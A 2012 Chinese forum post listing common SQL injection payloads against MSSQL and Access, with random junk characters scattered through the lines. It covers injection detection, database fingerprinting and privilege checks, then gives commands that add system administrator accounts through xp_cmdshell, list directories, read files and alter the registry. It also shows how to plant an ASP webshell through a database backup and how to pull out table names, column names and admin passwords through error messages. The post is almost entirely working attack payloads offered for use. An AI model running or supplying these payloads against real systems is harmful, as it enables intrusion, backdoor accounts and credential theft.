找回密码
 立即注册
查看: 2488|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 % e5 |& I: y: z+ m6 |7 g9 U
;and 1=1 + c! p' A4 K# H2 F1 n9 m' c1 q6 o* y" h
;and 1=2
) p/ ~0 `2 y. a" s
) F5 o* ^& L5 g  ?2.初步判断是否是mssql / V& ~) A8 i& v% u
;and user>0 # U9 ?6 ?' {! }: U( x. A5 S/ C& R! \& @
3 P- n! G* o7 ~: U- g, U
3.判断数据库系统 : K( [( F* a9 w" q/ F! ~
;and (select count(*) from sysobjects)>0 mssql
; ~: F- R& n3 G$ y& `;and (select count(*) from msysobjects)>0 access 7 C0 X( Y( G+ o+ i6 |) r7 k# Y

7 N, T: V! `9 d$ x; P4.注入参数是字符
6 q3 S/ w* k+ ?5 A3 \'and [查询条件] and ''=' " E1 e- @  Y' E& o

* {: l+ \0 j, I! R7 `5.搜索时没过滤参数的
2 ^' W/ _; ^- z' b8 M'and [查询条件] and '%25'='
7 @8 s5 a$ P9 M+ @9 m. ?+ }* E8 Q, L4 P# G! @# D5 x; S. \
6.猜数表名
* f6 Y+ V6 G1 |% W;and (select Count(*) from [表名])>0
2 W4 D3 X, s  F5 j- H- p; Z3 x9 q* R1 C
7.猜字段 / b1 Y' z) C1 f( X( b
;and (select Count(字段名) from 表名)>0
, O9 a3 m7 ]: j; I/ p% K& e, \1 l) \$ k4 t4 v3 E! v
8.猜字段中记录长度
- r5 e7 i& ^, j4 D8 \;and (select top 1 len(字段名) from 表名)>0 4 x' D9 @; |( w

! J$ u5 S$ x+ S# ~! I. V9.(1)猜字段的ascii值(access) ) `9 W! |6 n' b& j0 K
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0   N9 r" A; C* M# }" F8 V( e

! c6 X' f$ x2 D# a1 ~! z(2)猜字段的ascii值(mssql) 8 j( ^, T( L' x* K! p4 ]
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 - l2 ]& E( f7 m" I8 k" h( a1 j

4 ?' E& K1 x3 [: I% _. p: P" ~* M10.测试权限结构(mssql)
$ A$ Z6 V3 l& a/ `. Z7 O;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
- K+ j* K0 h* t;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
  }% M( p8 A( n- w: W" F3 \;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
: U1 I% s% j: ~/ C9 n# a/ v$ r;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--   s0 X1 d0 `' N( ^: T3 ?
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
$ ~) l3 j, m$ y! h  _. `% B;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
: l0 Z% [$ H& b9 n;and 1=(select IS_MEMBER('db_owner'));--
9 v/ E3 ]) C; b8 l5 `2 P: x* A1 {7 n% H+ [
11.添加mssql和系统的帐户 ) B) R0 k! s: b
;exec master.dbo.sp_addlogin username;-- ' `# P6 W: e7 E+ R7 T( @( f# e. Y
;exec master.dbo.sp_password null,username,password;-- 0 `/ k* k" v$ c, D
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- , S+ Z2 D% [" W3 N, W7 }
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- , c* E: s  t; n2 G* J  l
;exec master.dbo.xp_cmdshell 'net user username password /add';--
+ c  u% e. L3 };exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
7 t: e% ^+ U8 F% W
# o. c4 M' g; C, v! p$ s& e12.(1)遍历目录 ( @  H. B0 h7 G
;create table dirs(paths varchar(100), id int) 6 C0 m+ g$ b/ }4 t, i
;insert dirs exec master.dbo.xp_dirtree 'c:\' ) L9 ?3 i0 _8 @4 Y9 h3 B
;and (select top 1 paths from dirs)>0 & W. V* {- Y4 E2 q
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
5 P5 Q. Y7 ?3 U% Q  g6 ]) _8 u5 q) g% E0 }( o! ?' @
(2)遍历目录 1 p3 Q) h3 U# b) B4 V+ Y
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
* b) C  B4 F- f* U1 Q" t; P) m$ n& };insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
& ~! R. y. F+ r: F;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 7 n( t2 V' O  i8 J; q1 i
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 $ R0 S$ R' s9 A, ~5 m
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 # k: t  r7 D, Y* S3 G( V
" v3 q3 L" m: F/ F
13.mssql中的存储过程
' I$ z$ ?( @) E: p" Zxp_regenumvalues 注册表根键, 子键
& |5 L9 P- h3 d5 D) e) `7 ^* };exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 9 Y$ f' x" f+ R9 ^- t' b2 G. j1 E
xp_regread 根键,子键,键值名 # R$ [3 m- i* ~/ Z
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
" [8 S, F0 Z. ^! J1 D; h+ W8 i# ~xp_regwrite 根键,子键, 值名, 值类型, 值 / |" L8 k) f9 A9 l4 T8 Y8 m
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' z% e$ R. |" I5 k;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 . X& o% o2 _; j4 i2 i$ N
xp_regdeletevalue 根键,子键,值名
' C: S6 e8 Y) pexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
: p( K3 e: p7 h1 Sxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
1 D7 K* G! _$ `2 b8 O6 F9 l% }+ ^9 W6 f& u' O
14.mssql的backup创建webshell % B3 X  C* F, o0 }
use model
. M; I) f) c- Ycreate table cmd(str image);   h/ Q2 F7 d5 P. q+ [  ^5 q7 v6 f$ ?
insert into cmd(str) values ('<% Dim oScript %>'); . D! `  ~3 U& ]% }: Q8 B
backup database model to disk='c:\l.asp';
% n4 S& E% k+ l* X- t7 i5 S0 x+ _2 ~. G6 I" r- [, k
15.mssql内置函数 # v7 b2 H: F" X. U" t( w( S
;and (select @@version)>0 获得Windows的版本号 : g: o, k* k+ {6 i" e. D& R
;and user_name()='dbo' 判断当前系统的连接用户是不是sa . J* i5 K9 w/ Q( R6 h9 B' i$ l
;and (select user_name())>0 爆当前系统的连接用户
6 c# f) |6 l1 O: H+ Q( u;and (select db_name())>0 得到当前连接的数据库 $ A# v/ O% I, v) h9 B0 J. B
8 {4 D$ L6 v- O$ d$ X7 E( e( j

' d! z4 I5 O* F7 ~, B, T9 k& A; R( Z+ {, j
MSSQL手注暴库
5 w6 g4 W. z! p& A5 J9 R) t2 Y" Q: T
1.暴出当前表名和列名
5 b8 x3 N1 u( w& n0 Z在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
! H1 k( P5 f$ t  i* Q! p$ V, _$ n+ C
9 w7 b- O$ D- }4 D4 e& u第一.爆出所有数据库名0 n. e3 s, V, x% S
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
6 q5 D8 z. |: Z' f* Y第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。+ I) i: p- T$ E/ H4 ~

) B) Z; l) ^' O. sand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名! i2 F  U6 n* L( ~) l6 O: l
) ^- T0 |! j' c4 U7 r( H2 s1 L
# F* d+ `, M5 J& X" F! N
第二.爆出指定库中的所有表名- h2 u2 K4 |! C# e
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
" A5 k4 K- T. D) ~5 e再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
! W: c9 V% p1 E' F# `8 T- ]4 K! k+ u' l) V/ j2 D3 h
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
( X0 T! c6 w) }4 a/ w& `6 \/ nand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
3 E% n6 `, c9 H8 x8 uand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--. z$ f, E4 C; b
  k  \/ y  B( |( L1 v* z$ h( E9 h3 b/ n
4.爆出指定表中的所有列名
8 h5 r) b; E  C1 `( E6 z) mand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
9 f) N' |6 ~! r! m/ }/ w" y( A( W//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名', B# P: p! k! k  |$ k8 ?2 J$ ]
5 f7 l/ T$ g, x8 w# S6 W0 z8 u
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
/ ~. d) u$ k) E' F, m' W' Y7 D/ O4 o1 F. H" X" s3 {( y  t5 e+ A
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
6 H3 O$ t! k6 O. |! Y& {( _7 ^依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
; E9 ^+ k" ~) L: T5 z" r" Y
0 d2 J2 S; f7 }1 J# o2 M( z, [" I; `; R% ^8 H; m5 s2 [1 t
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值# R6 |# c6 \% ]3 V) T4 b) ]% e
8 ?* \+ X4 h; d9 b
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
5 Y' Q. a' W9 A6 H1 H+ Z4 Y8 L9 ?# Y
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 6 T$ t5 b1 n7 J7 P7 o

% M3 g& F" p9 T% y& z: j
* ]0 N# f, @* h' K3 r% u
3 h; M5 r; ~4 B! f. _5.读取指定表中的数据
  _! @- J. t+ r* Z
9 F% n8 n  w3 @4 ?' K: tand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
& m' s3 [. I: G
( X+ G! F; ]+ Qand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--! D- X% o7 r5 X- Q( R8 }

8 c) K6 R+ F4 [& }* Rand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
2 N- D8 l6 p0 h  h0 c  H1 j2 }' E) c

; q5 C) s- V1 P9 F+ Eand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)0 L* F: P+ ^' t; n  L$ i: E% j; X

- D  b% K; A7 W  Z/ o7 k. p  y% Vand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
  A& q9 z. w' P" O" L8 E1 i9 y
  M0 q$ X% h" \9 f! f/ Y3 band 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--% @# G6 w3 ~3 J  g

5 h( u9 X4 k6 E5 B& V: Q知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
* ~. Y9 c* `% d; E* }6 Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表